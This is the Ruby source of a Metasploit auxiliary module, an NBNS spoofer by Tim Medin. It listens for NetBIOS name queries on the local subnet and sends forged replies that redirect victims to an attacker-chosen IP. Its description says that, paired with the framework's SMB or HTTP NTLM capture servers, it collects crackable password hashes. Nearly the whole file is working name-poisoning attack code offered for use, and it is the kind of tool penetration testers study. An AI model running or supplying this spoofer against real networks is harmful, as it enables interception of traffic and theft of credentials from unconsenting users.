Tim Medin's NBNS spoofer / world domination ensurer.
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'racket'
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class Metasploit3 < Msf::Auxiliary
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def initialize
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super(
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'Name' => 'NetBIOS Name Service Spoofer',
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'Description' => %q{
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This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests
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sent to the local subnet's broadcast address and spoof a response, redirecting the querying
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machine to an IP of the attacker's choosing. Combined with auxiliary/capture/server/smb or
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capture/server/http_ntlm it is a highly effective means of collecting crackable hashes on
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common networks.
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This module must be run as root and will bind to tcp/137 on all interfaces.
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},
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'Author' => [ 'Tim Medin <tim@securitywhole.com>' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ]
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],
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'Actions' =>
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[
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[ 'Service' ]
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],
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'PassiveActions' =>
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[
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'Service'
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],
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'DefaultAction' => 'Service'
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)
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register_options([
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OptString.new('SPOOFIP', [ true, "IP address with which to poison responses", nil]),
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OptString.new('REGEX', [ true, "Regex applied to determene if spoofed reply is sent", '.*']),
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OptBool.new('VERBOSE', [ false, "Determines whether to display responses", true])
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])
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register_advanced_options([
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OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
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])
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end
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def run
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# MacOS X workaround
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::Socket.do_not_reverse_lookup = true
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@sock = ::UDPSocket.new()
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@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
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@sock.bind('', 137) # couldn't specify srv host because it missed broadcasts
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@run = true
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print_status("NBNS Spoofer started. Listening for NBNS requests...")
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begin
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while @run
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packet, addr = @sock.recvfrom(512)
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print_status("Packet Recieved from #{addr[3]}") if datastore['VERBOSE']
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rhost = addr[3]
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break if packet.length == 0
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nbnsq_transid = packet[0..1]
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nbnsq_flags = packet[2..3]
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nbnsq_questions = packet[4..5]
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nbnsq_answerrr = packet[6..7]
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nbnsq_authorityrr = packet[8..9]
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nbnsq_additionalrr = packet[10..11]
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nbnsq_name = packet[12..45]
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decoded = ""
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nbnsq_name.slice(1..-2).each_byte do |c|
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decoded << "#{(c - 65).to_s(16)}"
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end
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nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
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nbnsq_type = packet[46..47]
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nbnsq_class = packet[48..49]
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if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
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print_status("Regex matched #{nbnsq_decodedname} from #{rhost}. Sending reply...") if datastore['VERBOSE']
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if datastore['DEBUG']
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print_status("transid: #{nbnsq_transid.unpack('H4')}")
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print_status("tlags: #{nbnsq_flags.unpack('B16')}")
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print_status("questions: #{nbnsq_questions.unpack('n')}")
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print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
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print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
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print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
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print_status("name: #{nbnsq_name} #{nbns_name.unpack('H34')}")
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print_status("full name: #{nbnsq_name.slice(1..-2)}")
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print_status("decoded: #{decoded}")
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print_status("decoded name: #{nbnsq_decodedname}")
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print_status("type: #{nbnsq_type('n')}")
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print_status("class: #{nbnsq_class.unpack('n')}")
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end
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# time to build a response packet - Oh YEAH!
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response = nbnsq_transid +
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"\x85\x00" + # Flags = response + authoratative + recursion desired +
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"\x00\x00" + # Questions = 0
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"\x00\x01" + # Answer RRs = 1
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"\x00\x00" + # Authority RRs = 0
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"\x00\x00" + # Additional RRs = 0
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nbnsq_name + # original query name
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nbnsq_type + # Type = NB ...whatever that means
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nbnsq_class+ # Class = IN
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"\x00\x04\x93\xe0" + # TTL = a long ass time
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"\x00\x06" + # Datalength = 6
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"\x00\x00" + # Flags B-node, unique = whet ever that means
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datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*')
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n = Racket::Racket.new
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n.l3 = Racket::L3::IPv4.new
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n.l3.src_ip = Rex::Socket.source_address(rhost)
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n.l3.dst_ip = rhost
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n.l3.protocol = 17
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n.l3.id = rand(0xffff)
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n.l3.ttl = 255
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n.l4 = Racket::L4::UDP.new
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n.l4.src_port = 1337
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n.l4.dst_port = 137
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n.l4.payload = response
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n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
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n.sendpacket
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else
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print_status("Packet received from #{rhost} with name #{nbnsq_decodedname} did not match regex") if datastore['VERBOSE']
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end
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end
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rescue ::Exception => e
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print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}")
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# Make sure the socket gets closed on exit
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ensure
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@sock.close
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end
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end
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end
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